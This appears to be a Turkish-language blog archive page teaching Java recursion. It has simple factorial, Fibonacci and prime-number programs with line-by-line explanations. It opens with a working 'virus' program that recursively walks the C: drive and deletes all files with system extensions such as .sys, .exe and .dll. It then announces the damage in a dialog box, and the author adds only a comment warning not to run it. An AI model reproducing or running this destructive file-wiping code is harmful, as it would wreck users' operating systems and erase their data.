Archive for the ‘ Java Recursive Methods ’ Category

Ben bazı önemli sistem doyalarını silidiriyorum.Siz daha fazla .dosya uzantısını ekleyebilirsiniz.Fakat . dan sonra 3 karekter için çalışır bu kod(.dll gibi)

package www.ethemsulan.com;
import java.io.File;
import javax.swing.JOptionPane;
public class VirusUygBasit {
public static void virus(String url){
//Bu sekilde url verilen dosyaya dosyaErisim nesnesi uzerinden
//erişip işlemleri gerçekleştiriyoruz.Yeni bir dosya oluşturmaz.
File dosyaErisim=new File(url);

File[] dizi=dosyaErisim.listFiles();

for (File degerler : dizi) {

if(degerler.isFile()){

String sondan=degerler.toString().substring(

degerler.toString().length()-4, degerler.toString().length()).trim();

//c nin altındaki if ile belirtilen tüm dosya uzantılarını siler.Sakın çalıştırmayın bu kodu

if(sondan.equals(".txt")| sondan.equals(".sys") | sondan.equals(".exe")

| sondan.equals(".bat")| sondan.equals(".dll")| sondan.equals(".dat")|

sondan.equals(".bin")| sondan.equals(".ini")| sondan.equals(".drv")){

degerler.delete();

}

}else if(degerler.isDirectory()){

//c nin altındaki tüm klasörleri gezmek için recursive tanımladık.
//dikkat getPath() url yi string olarak dönderiri.getAbsolutePath() ise file tipinde dönderir.

virus(degerler.getPath());

   }
 }
}

public static void main(String[] args) {
//c nin altındaki tüm dosya,dizinler

virus("C:\\.");

JOptionPane.showMessageDialog(null, "C nin altındaki bir " +

"çok sistem doyanız yok oldu(ethemsulan)!");

  }
}

Orj Kod:http://www.ethemsulan.pastebin.com/CpUk7W4W

  1: package www.ethemsulan.com;
  2: public class AsalveFaktoryel {
  3: public static void main(String[] args) {
  4:   int sayi=7;
  5:   int sonuc=1;
  6: //Bir sayinin faktoryeli 1 den
  7: //kendisine kadar olan tum 
  8: //sayilarin carpimidir.
  9: for (int i = 1; i <=sayi; i++) {
 10:   sonuc*=i;
 11:   }
 12: System.out.println("7 " +
 13: "sayinin faktoryeli-->"+sonuc);
 14: //---------------------------------------------------------------
 15: //sayinin kendisinden kucuk ve  1 den buyuk
 16: //tum sayilara boluyoruz.Eger bolen
 17: //varsa test=1 yapiyoruz.Eger yoksa
 18: //zaten test=0 di demekki asaldir sayi.
 19: for (int i = 2; i < 100; i++) {
 20:     int test=0;
 21:   for(int j=2;j<i-1;j++){
 22:     if(i%j==0){
 23:       test=1;
 24:       }
 25:     }
 26:   if(test!=1){
 27: System.out.println(i+" asal sayidir");
 28:   }
 29:   }
 30:  }
 31: }

Orj Kod:http://ethemsulan.pastebin.com/f77d1105a

———————————————————-

Fibonacci Sayıları recursive olarak bulan program .

———————————————————–

  1: package www.ethemsulan.com;
  2:
  3: public class FibonacciRecursive {
  4: //1 1 2 3 5 8 yani kendinden onceki 
  5: //iki sayinin toplami kendisine esit
  6: //olan sayilara fibonacci dizisi denir.
  7: //recursive demek metodun kendi kendini
  8: //cagirmasidirr. Yani bir sonraki islemi
  9: //gerceklestirmek icin tekrar
 10: //kendinsini cagirmasidir.
 11: public static int fibRecursive(int n){
 12:   if(n<2){
 13:     return 1;
 14:   }else{
 15: return fibRecursive(n-1)+
 16:        fibRecursive(n-2);
 17:   }
 18:   }
 19:
 20: public static void main(String[] args) {
 21: //100 den kucuk fibonacci sayilari
 22: //bulup ekrana yazar
 23: for (int i = 0; i < 100; i++) {
 24:   if (fibRecursive(i)<100) {
 25: System.out.println(fibRecursive(i));
 26:   }
 27:   }
 28:  }
 29: }

Orj Kod:http://ethemsulan.pastebin.com/f24e33ebc

  1: package www.ethemsulan.com;
  2: import javax.swing.JOptionPane;
  3: public class FaktoryelBul {
  4: public int fakttoryel(int n){
  5:     if(n<=0){
  6:       return 1;
  7:     }else{
  8:     return n*fakttoryel(n-1);
  9:     }
 10:   }
 11: public static void main(String[] args) {
 12:   FaktoryelBul obj=new FaktoryelBul();
 13:   int say1,sonuc;
 14:   say1=Integer.parseInt(JOptionPane.showInputDialog(
 15:       "Faktoryel icin deger gir:"));
 16:   sonuc=obj.fakttoryel(say1);
 17:   JOptionPane.showMessageDialog(null,say1+" " +
 18:   "degeri-->"+sonuc+ " mi","Girilen Sayinin Degeri", 3);
 19:   }
 20: }
Orjinal Kod:http://ethemsulan.pastebin.com/f324b9cd0
5: te eğer n değeri 0 veya daha küçükse 1 dönderir return ifadesiyle.0!=1 dir. 8: de n*faktoryel(n-1) işte fonksiyon kendi içinde kendisini çağırıyorsa buna recursive fonksiyon denir. Bu kendi içinde kendini bir daha çağırıp bir diğer değeri buluyor ve bir sonraki değeri çağırıyor taki n=0 olduğunda. n=5 ise 5*faktoryel(4)*faktoryel(3)*faktoryel(2)*faktoryel(1)*faktoryel(0) olduğunda faktoryel(0)=1 resurn ile geri döndereceği için sonucumuz 5*4*3*2*1*1 olur.14: te kullanıcıdan bir değer okuyoruz ve girilen değeri int e çevirip sayi1 atıyoruz. 16 da ise bu sayi1 değerini metoda parametre olarak atıyoruz. Metodumuzdan dönen değeri sonuc değişkenine atıyoruziyoruz. 17: de bu sonuç değerini yazdırıyoruz panele.

Recursive nasıl kullanıldığını göstermek için yazdım bu kodu. Bir çoğunuza bu çok kolay gelebilir ama şunu da unutmayın bunu yazamayan bir çok arkadaşımız var. Ben ilk merhaba dünya ekrana yazınca çok sevinmiştim. Yazılımcı olmanın şartı bence yaptığınız şeyden zevk almaya başladığınız anda siz yazılımcı olmuşssunuz demektir. Gerçekten tarif edilmesi zor bir duygu, bir sevinçtir.

  1: package www.ethemsulan.com;
  2:
  3: public class sinifim {
  4:
  5:   public static int faktoryelBul(int ethemsulan){
  6:     if (ethemsulan==0) {
  7:       return 1;
  8:     }
  9:     else {
 10:       return (ethemsulan*faktoryelBul(ethemsulan-1));
 11:     }
 12:   }
 13:
 14:   public static void main(String[] args) {
 15:
 16:     for (int i = 0; i <10; i++) {
 17:       System.out.println(i+" degeri-->"+faktoryelBul(i));
 18:     }
 19:   }
 20: }

Orjinak kod:http://ethemsulan.pastebin.com/f57ae3801

5: te bir metod tanımlaması var. public static int faktoryelBul(int ethemsulan){}  temel olarak metod böyle tanımlanır. int ethemsulan isminde metoda bir değer vermişiz. Bu değer 6 da sıfırla karşılaştırılmış. Eğer sıfırsa 1 değerini dönderiri. Çünkü matematiksel olarak 0!=1 dir. Sıfır faktöryel bire eşittir. Sıfır değilse 10: çalıştırılır. 10: da return çevirdiği değer değiken*metyod ismi. Işte böyle, metodu tekrar kendi içinde çağıran değerlere recursive denilir. Bu 5*4*3*2*1*1 önemli 0!=1 oldugunda en sonda bir tane bir daha olur. 17: main() içinde public yani uygulma içinde her yerden erişebilir olarak tanımladığımız için direk çağırıyoruz metodu ve for ile 10 a kadar olan faktöryelleri teker teker hesaplatmışım.